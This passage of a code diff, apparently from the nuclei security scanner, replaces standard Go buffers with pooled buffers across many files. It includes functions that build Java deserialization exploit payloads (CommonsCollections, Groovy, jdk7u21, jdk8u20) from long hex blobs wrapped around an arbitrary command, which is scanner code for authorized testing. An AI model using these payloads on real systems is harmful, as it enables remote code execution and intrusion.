"javascript", highlightFormatter, "monokai") + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) + _ = quick.Highlight(buff, beautifyJavascript(request.PreCondition), "javascript", highlightFormatter, "monokai") prettyPrint(request.TemplateID, buff.String()) } @@ -247,7 +249,8 @@ func (request *Request) ExecuteWithResults(input *contextargs.Context, dynamicVa if request.options.Options.Debug || request.options.Options.DebugRequests { gologger.Debug().MsgFunc(func() string { dashes := strings.Repeat("-", 15) - sb := &strings.Builder{} + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) sb.WriteString(fmt.Sprintf("[%s] Dumped Executed Source Code for input/stdin: '%v'", request.options.TemplateID, input.MetaInput.Input)) sb.WriteString(fmt.Sprintf("\n%v\n%v\n%v\n", dashes, "Source Code:", dashes)) sb.WriteString(interpretEnvVars(request.Source, allvars)) diff --git a/pkg/protocols/common/helpers/deserialization/helpers.go b/pkg/protocols/common/helpers/deserialization/helpers.go index 84923c17c9..84a726ccd8 100644 --- a/pkg/protocols/common/helpers/deserialization/helpers.go +++ b/pkg/protocols/common/helpers/deserialization/helpers.go @@ -1,17 +1,20 @@ package deserialization -import "bytes" +import ( + "github.com/valyala/bytebufferpool" +) func InsertInto(s string, interval int, sep rune) string { - var buffer bytes.Buffer + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) before := interval - 1 last := len(s) - 1 for i, char := range s { - buffer.WriteRune(char) + buffer.WriteString(string(char)) if i%interval == before && i != last { - buffer.WriteRune(sep) + buffer.WriteString(string(sep)) } } - buffer.WriteRune(sep) + buffer.WriteString(string(sep)) return buffer.String() } diff --git a/pkg/protocols/common/helpers/deserialization/java.go b/pkg/protocols/common/helpers/deserialization/java.go index cde50d547b..df107e4b07 100644 --- a/pkg/protocols/common/helpers/deserialization/java.go +++ b/pkg/protocols/common/helpers/deserialization/java.go @@ -1,12 +1,13 @@ package deserialization import ( - "bytes" "compress/gzip" "encoding/base64" "encoding/hex" "net/url" "strings" + + "github.com/valyala/bytebufferpool" ) // Taken from: https://github.com/joaomatosf/jexboss/blob/master/_exploits.py @@ -48,7 +49,8 @@ func gadgetEncodingHelper(returnData []byte, encoding string) string { case "hex": return hex.EncodeToString(returnData) case "gzip": - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) writer := gzip.NewWriter(buffer) if _, err := writer.Write(returnData); err != nil { return "" @@ -56,7 +58,8 @@ func gadgetEncodingHelper(returnData []byte, encoding string) string { _ = writer.Close() return buffer.String() case "gzip-base64": - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) writer := gzip.NewWriter(buffer) if _, err := writer.Write(returnData); err != nil { return "" @@ -77,8 +80,8 @@ func urlsafeBase64Encode(data []byte) string { // generateCommonsCollections40Payload generates org.apache.commons:commons-collections4:4.0 // deserialization payload for a command. func generateCommonsCollections40Payload(cmd string) []byte { - buffer := &bytes.Buffer{} - + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002E5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B78707572002E5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E5472616E73666F726D65723B39813AFB08DA3FA50200007870000000027372003C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B787076720037636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E5472415846696C746572000000000000000000000078707372003F6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E7374616E74696174655472616E73666F726D6572348BF47FA486D03B0200025B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C0200007870000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00144C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000068CCAFEBABE0000003100380A0003002207003607002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100") buffer.Write(prefix) buffer.WriteString(string(rune(len(cmd)))) @@ -92,8 +95,8 @@ func generateCommonsCollections40Payload(cmd string) []byte { // generateCommonsCollections440PPayload generates commons-collections 3.1 // deserialization payload for a command. func generateCommonsCollections31Payload(cmd string) []byte { - buffer := &bytes.Buffer{} - + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B787074002668747470733A2F2F6769746875622E636F6D2F6A6F616F6D61746F73662F6A6578626F7373207372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001B00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001B7371007E00137571007E001800000002707571007E001800000000740006696E766F6B657571007E001B00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00187371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") buffer.Write(prefix) buffer.WriteString(string(rune(len(cmd)))) @@ -107,8 +110,8 @@ func generateCommonsCollections31Payload(cmd string) []byte { // generateGroovy1Payload generates org.codehaus.groovy:groovy:2.3.9 // deserialization payload for a command. func generateGroovy1Payload(cmd string) []byte { - buffer := &bytes.Buffer{} - + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) prefix, _ := hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002C6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E766572746564436C6F7375726510233719F715DD1B0200014C000A6D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B7872002D6F72672E636F6465686175732E67726F6F76792E72756E74696D652E436F6E76657273696F6E48616E646C65721023371AD601BC1B0200024C000864656C65676174657400124C6A6176612F6C616E672F4F626A6563743B4C000B68616E646C6543616368657400284C6A6176612F7574696C2F636F6E63757272656E742F436F6E63757272656E74486173684D61703B7870737200296F72672E636F6465686175732E67726F6F76792E72756E74696D652E4D6574686F64436C6F73757265110E3E848FBDCE480200014C00066D6574686F6471007E00097872001367726F6F76792E6C616E672E436C6F737572653CA0C76616126C5A0200084900096469726563746976654900196D6178696D756D4E756D6265724F66506172616D657465727349000F7265736F6C766553747261746567794C000362637774003C4C6F72672F636F6465686175732F67726F6F76792F72756E74696D652F63616C6C736974652F426F6F6C65616E436C6F73757265577261707065723B4C000864656C656761746571007E000B4C00056F776E657271007E000B5B000E706172616D6574657254797065737400125B4C6A6176612F6C616E672F436C6173733B4C000A746869734F626A65637471007E000B7870000000000000000200000000707400") buffer.Write(prefix) buffer.WriteString(string(rune(len(cmd)))) @@ -126,7 +129,8 @@ func generateDNSPayload(URL string) []byte { if err != nil { return nil } - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) hostname := parsed.Hostname() prefix, _ := hex.DecodeString("ACED0005737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017372000C6A6176612E6E65742E55524C962537361AFCE47203000749000868617368436F6465490004706F72744C0009617574686F726974797400124C6A6176612F6C616E672F537472696E673B4C000466696C6571007E00034C0004686F737471007E00034C000870726F746F636F6C71007E00034C000372656671007E00037870FFFFFFFFFFFFFFFF7400") @@ -152,8 +156,8 @@ func generateDNSPayload(URL string) []byte { // generatejdk7u21Payload generates deserialization payload for jdk7. // improved from frohoff version func generatejdk7u21Payload(url string) []byte { - buffer := &bytes.Buffer{} - + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000849000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D657400124C6A6176612F6C616E672F537472696E673B4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF0070757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006") buffer.Write(prefix) buffer.WriteString(string(rune(len(url) + 131))) @@ -169,8 +173,8 @@ func generatejdk7u21Payload(url string) []byte { // generatejdk8u20Payload generates deserialization payload for jdk8. // improved from Alvaro (pwntester) version func generatejdk8u20Payload(url string) []byte { - buffer := &bytes.Buffer{} - + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) prefix, _ := hex.DecodeString("ACED0005737200176A6176612E7574696C2E4C696E6B656448617368536574D86CD75A95DD2A1E020000787200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000949000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785A00155F75736553657276696365734D656368616E69736D4C00195F61636365737345787465726E616C5374796C6573686565747400124C6A6176612F6C616E672F537472696E673B4C000B5F617578436C617373657374003B4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F486173687461626C653B5B000A5F62797465636F6465737400035B5B425B00065F636C6173737400125B4C6A6176612F6C616E672F436C6173733B4C00055F6E616D6571007E00054C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF00740003616C6C70757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006") buffer.Write(prefix) buffer.WriteString(string(rune(len(url) + 147))) diff --git a/pkg/protocols/common/helpers/responsehighlighter/response_highlighter.go b/pkg/protocols/common/helpers/responsehighlighter/response_highlighter.go index 39bb8e9993..3349b4f8de 100644 --- a/pkg/protocols/common/helpers/responsehighlighter/response_highlighter.go +++ b/pkg/protocols/common/helpers/responsehighlighter/response_highlighter.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/logrusorgru/aurora" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/operators" ) @@ -31,7 +32,8 @@ func Highlight(operatorResult *operators.Result, response string, noColor, hexDu } func highlightASCII(currentMatch string, result string) string { - var coloredMatchBuilder strings.Builder + coloredMatchBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(coloredMatchBuilder) for _, char := range currentMatch { coloredMatchBuilder.WriteString(addColor(string(char))) } diff --git a/pkg/protocols/common/interactsh/interactsh.go b/pkg/protocols/common/interactsh/interactsh.go index da59f10fb3..58a4d162fe 100644 --- a/pkg/protocols/common/interactsh/interactsh.go +++ b/pkg/protocols/common/interactsh/interactsh.go @@ -1,7 +1,6 @@ package interactsh import ( - "bytes" "fmt" "os" "regexp" @@ -13,6 +12,7 @@ import ( "errors" "github.com/Mzack9999/gcache" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/interactsh/pkg/client" @@ -394,8 +394,8 @@ func HasMarkers(data string) bool { } func (c *Client) debugPrintInteraction(interaction *server.Interaction, event *operators.Result) { - builder := &bytes.Buffer{} - + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) switch interaction.Protocol { case "dns": builder.WriteString(formatInteractionHeader("DNS", interaction.FullId, interaction.RemoteAddress, interaction.Timestamp)) diff --git a/pkg/protocols/dns/dnsclientpool/clientpool.go b/pkg/protocols/dns/dnsclientpool/clientpool.go index 4f019808fe..e1c21a29dc 100644 --- a/pkg/protocols/dns/dnsclientpool/clientpool.go +++ b/pkg/protocols/dns/dnsclientpool/clientpool.go @@ -8,6 +8,7 @@ import ( "github.com/pkg/errors" "github.com/projectdiscovery/nuclei/v3/pkg/types" "github.com/projectdiscovery/retryabledns" + "github.com/valyala/bytebufferpool" ) var ( @@ -55,7 +56,8 @@ type Configuration struct { // Hash returns the hash of the configuration to allow client pooling func (c *Configuration) Hash() string { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString("r") builder.WriteString(strconv.Itoa(c.Retries)) builder.WriteString("l") diff --git a/pkg/protocols/dns/operators.go b/pkg/protocols/dns/operators.go index 0f18315303..80ab7e5cc2 100644 --- a/pkg/protocols/dns/operators.go +++ b/pkg/protocols/dns/operators.go @@ -1,12 +1,12 @@ package dns import ( - "bytes" "fmt" "strings" "time" "github.com/miekg/dns" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/model" "github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors" @@ -130,7 +130,8 @@ func (request *Request) MakeResultEventItem(wrapped *output.InternalWrappedEvent } func rrToString(resourceRecords []dns.RR) string { // TODO rewrite with generics when available - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) for _, resourceRecord := range resourceRecords { buffer.WriteString(resourceRecord.String()) } @@ -138,7 +139,8 @@ func rrToString(resourceRecords []dns.RR) string { // TODO rewrite with generics } func questionToString(resourceRecords []dns.Question) string { - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) for _, resourceRecord := range resourceRecords { buffer.WriteString(resourceRecord.String()) } @@ -146,7 +148,8 @@ func questionToString(resourceRecords []dns.Question) string { } func traceToString(traceData *retryabledns.TraceData, withSteps bool) string { - buffer := &bytes.Buffer{} + buffer := bytebufferpool.Get() + defer bytebufferpool.Put(buffer) if traceData != nil { for i, dnsRecord := range traceData.DNSData { if withSteps { diff --git a/pkg/protocols/file/request_test.go b/pkg/protocols/file/request_test.go index acb433649d..43cb28f938 100644 --- a/pkg/protocols/file/request_test.go +++ b/pkg/protocols/file/request_test.go @@ -2,7 +2,6 @@ package file import ( "archive/zip" - "bytes" "compress/gzip" "context" "os" @@ -10,6 +9,7 @@ import ( "testing" "github.com/stretchr/testify/require" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/model" "github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity" @@ -23,8 +23,9 @@ import ( ) func zipFile(t *testing.T, fileName string, data []byte) []byte { - var b bytes.Buffer - w := zip.NewWriter(&b) + b := bytebufferpool.Get() + defer bytebufferpool.Put(b) + w := zip.NewWriter(b) w1, err := w.Create(fileName) require.NoError(t, err) _, err = w1.Write(data) @@ -35,8 +36,9 @@ func zipFile(t *testing.T, fileName string, data []byte) []byte { } func gzipFile(t *testing.T, data []byte) []byte { - var b bytes.Buffer - w := gzip.NewWriter(&b) + b := bytebufferpool.Get() + defer bytebufferpool.Put(b) + w := gzip.NewWriter(b) _, err := w.Write(data) require.NoError(t, err) err = w.Close() diff --git a/pkg/protocols/headless/engine/action.go b/pkg/protocols/headless/engine/action.go index 3e2ce4e010..687315c5d2 100644 --- a/pkg/protocols/headless/engine/action.go +++ b/pkg/protocols/headless/engine/action.go @@ -4,6 +4,7 @@ import ( "strings" "github.com/invopop/jsonschema" + "github.com/valyala/bytebufferpool" ) // Action is an action taken by the browser to reach a navigation @@ -58,7 +59,8 @@ func (a Action) JSONSchemaExtend(schema *jsonschema.Schema) { // String returns the string representation of an action func (a *Action) String() string { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString(a.ActionType.String()) if a.Name != "" { builder.WriteString(" Name:") diff --git a/pkg/protocols/headless/engine/page.go b/pkg/protocols/headless/engine/page.go index fd8687e142..dfd95aeb98 100644 --- a/pkg/protocols/headless/engine/page.go +++ b/pkg/protocols/headless/engine/page.go @@ -20,6 +20,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/types" errorutil "github.com/projectdiscovery/utils/errors" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) // Page is a single page in an isolated browser instance @@ -242,7 +243,8 @@ func (p *Page) DumpHistory() string { p.mutex.RLock() defer p.mutex.RUnlock() - var historyDump strings.Builder + historyDump := bytebufferpool.Get() + defer bytebufferpool.Put(historyDump) for _, historyData := range p.History { historyDump.WriteString(historyData.RawRequest) historyDump.WriteString(historyData.RawResponse) diff --git a/pkg/protocols/headless/engine/rules.go b/pkg/protocols/headless/engine/rules.go index cf7fd3d4fe..192d1a9d05 100644 --- a/pkg/protocols/headless/engine/rules.go +++ b/pkg/protocols/headless/engine/rules.go @@ -4,11 +4,11 @@ import ( "fmt" "net/http" "net/http/httputil" - "strings" "github.com/go-rod/rod" "github.com/go-rod/rod/lib/proto" "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate" + "github.com/valyala/bytebufferpool" ) // routingRuleHandler handles proxy rule for actions related to request/response modification @@ -85,7 +85,8 @@ func (p *Page) routingRuleHandler(httpClient *http.Client) func(ctx *rod.Hijack) } // attempts to rebuild the response - var rawResp strings.Builder + rawResp := bytebufferpool.Get() + defer bytebufferpool.Put(rawResp) respPayloads := ctx.Response.Payload() if respPayloads != nil { rawResp.WriteString(fmt.Sprintf("HTTP/1.1 %d %s\n", respPayloads.ResponseCode, respPayloads.ResponsePhrase)) @@ -125,7 +126,8 @@ func (p *Page) routingRuleHandlerNative(e *proto.FetchRequestPaused) error { } // attempts to rebuild request - var rawReq strings.Builder + rawReq := bytebufferpool.Get() + defer bytebufferpool.Put(rawReq) rawReq.WriteString(fmt.Sprintf("%s %s %s\n", e.Request.Method, e.Request.URL, "HTTP/1.1")) for _, header := range e.Request.Headers { rawReq.WriteString(fmt.Sprintf("%s\n", header.String())) @@ -135,7 +137,8 @@ func (p *Page) routingRuleHandlerNative(e *proto.FetchRequestPaused) error { } // attempts to rebuild the response - var rawResp strings.Builder + rawResp := bytebufferpool.Get() + defer bytebufferpool.Put(rawResp) rawResp.WriteString(fmt.Sprintf("HTTP/1.1 %d %s\n", statusCode, e.ResponseStatusText)) for _, header := range e.ResponseHeaders { rawResp.WriteString(header.Name + ": " + header.Value + "\n") diff --git a/pkg/protocols/headless/request.go b/pkg/protocols/headless/request.go index af65c4b2fa..a2305a8f48 100644 --- a/pkg/protocols/headless/request.go +++ b/pkg/protocols/headless/request.go @@ -3,10 +3,10 @@ package headless import ( "fmt" "net/url" - "strings" "time" "github.com/projectdiscovery/retryablehttp-go" + "github.com/valyala/bytebufferpool" "github.com/pkg/errors" "golang.org/x/exp/maps" @@ -151,7 +151,8 @@ func (request *Request) executeRequestWithPayloads(input *contextargs.Context, p request.options.Progress.IncrementRequests() gologger.Verbose().Msgf("Sent Headless request to %s", navigatedURL) - reqBuilder := &strings.Builder{} + reqBuilder := bytebufferpool.Get() + defer bytebufferpool.Put(reqBuilder) if request.options.Options.Debug || request.options.Options.DebugRequests || request.options.Options.DebugResponse { gologger.Info().Msgf("[%s] Dumped Headless request for %s", request.options.TemplateID, navigatedURL) diff --git a/pkg/protocols/http/httpclientpool/clientpool.go b/pkg/protocols/http/httpclientpool/clientpool.go index 3f10fcbabd..e8cd6e0d6f 100644 --- a/pkg/protocols/http/httpclientpool/clientpool.go +++ b/pkg/protocols/http/httpclientpool/clientpool.go @@ -9,11 +9,11 @@ import ( "net/http/cookiejar" "net/url" "strconv" - "strings" "sync" "time" "github.com/pkg/errors" + "github.com/valyala/bytebufferpool" "golang.org/x/net/proxy" "golang.org/x/net/publicsuffix" @@ -127,8 +127,8 @@ func (c *Configuration) Clone() *Configuration { // Hash returns the hash of the configuration to allow client pooling func (c *Configuration) Hash() string { - builder := &strings.Builder{} - builder.Grow(16) + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString("t") builder.WriteString(strconv.Itoa(c.Threads)) builder.WriteString("m") diff --git a/pkg/protocols/http/operators.go b/pkg/protocols/http/operators.go index f9da8043bb..e724743d78 100644 --- a/pkg/protocols/http/operators.go +++ b/pkg/protocols/http/operators.go @@ -14,6 +14,7 @@ import ( "github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter" "github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils" "github.com/projectdiscovery/nuclei/v3/pkg/types" + "github.com/valyala/bytebufferpool" ) // Match matches a generic data response again a given matcher @@ -91,7 +92,8 @@ func (request *Request) getMatchPart(part string, data output.InternalEvent) (st var itemStr string if part == "all" { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString(types.ToString(data["body"])) builder.WriteString(types.ToString(data["all_headers"])) itemStr = builder.String() diff --git a/pkg/protocols/http/raw/raw.go b/pkg/protocols/http/raw/raw.go index f6c427ad96..01821ef727 100644 --- a/pkg/protocols/http/raw/raw.go +++ b/pkg/protocols/http/raw/raw.go @@ -15,6 +15,7 @@ import ( errorutil "github.com/projectdiscovery/utils/errors" stringsutil "github.com/projectdiscovery/utils/strings" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) // Request defines a basic HTTP raw request @@ -270,7 +271,8 @@ func (r *Request) TryFillCustomHeaders(headers []string) error { if newLineIndex > 0 { newLineIndex += hostHeaderIndex + 2 // insert custom headers - var buf bytes.Buffer + buf := bytebufferpool.Get() + defer bytebufferpool.Put(buf) buf.Write(r.UnsafeRawBytes[:newLineIndex]) for _, header := range headers { buf.WriteString(fmt.Sprintf("%s\r\n", header)) @@ -301,7 +303,8 @@ func (r *Request) ApplyAuthStrategy(strategy authx.AuthStrategy) { parsed.Params.Add(p.Key, p.Value) } case *authx.CookiesAuthStrategy: - var buff bytes.Buffer + buff := bytebufferpool.Get() + defer bytebufferpool.Put(buff) for _, cookie := range s.Data.Cookies { buff.WriteString(fmt.Sprintf("%s=%s; ", cookie.Key, cookie.Value)) } diff --git a/pkg/protocols/http/request_fuzz.go b/pkg/protocols/http/request_fuzz.go index 7175a7514b..0984d047c3 100644 --- a/pkg/protocols/http/request_fuzz.go +++ b/pkg/protocols/http/request_fuzz.go @@ -28,6 +28,7 @@ import ( "github.com/projectdiscovery/retryablehttp-go" "github.com/projectdiscovery/useragent" urlutil "github.com/projectdiscovery/utils/url" + "github.com/valyala/bytebufferpool" ) // executeFuzzingRule executes fuzzing request for a URL @@ -291,7 +292,8 @@ func (request *Request) filterDataMap(input *contextargs.Context) map[string]int m["method"] = req.Method m["body"] = req.Body - sb := &strings.Builder{} + sb := bytebufferpool.Get() + defer bytebufferpool.Put(sb) req.Headers.Iterate(func(k, v string) bool { k = strings.ToLower(strings.ReplaceAll(strings.TrimSpace(k), "-", "_")) if strings.EqualFold(k, "Cookie") { diff --git a/pkg/protocols/http/signerpool/signerpool.go b/pkg/protocols/http/signerpool/signerpool.go index 65ee506973..73fad32e29 100644 --- a/pkg/protocols/http/signerpool/signerpool.go +++ b/pkg/protocols/http/signerpool/signerpool.go @@ -2,10 +2,10 @@ package signerpool import ( "fmt" - "strings" "sync" "github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer" + "github.com/valyala/bytebufferpool" "github.com/projectdiscovery/nuclei/v3/pkg/types" ) @@ -29,7 +29,8 @@ type Configuration struct { // Hash returns the hash of the configuration to allow client pooling func (c *Configuration) Hash() string { - builder := &strings.Builder{} + builder := bytebufferpool.Get() + defer bytebufferpool.Put(builder) builder.WriteString(fmt.Sprintf("%v", c.SignerArgs)) hash := builder.String() return hash diff --git a/pkg/protocols/javascript/js.go b/pkg/protocols/javascript/js.go index 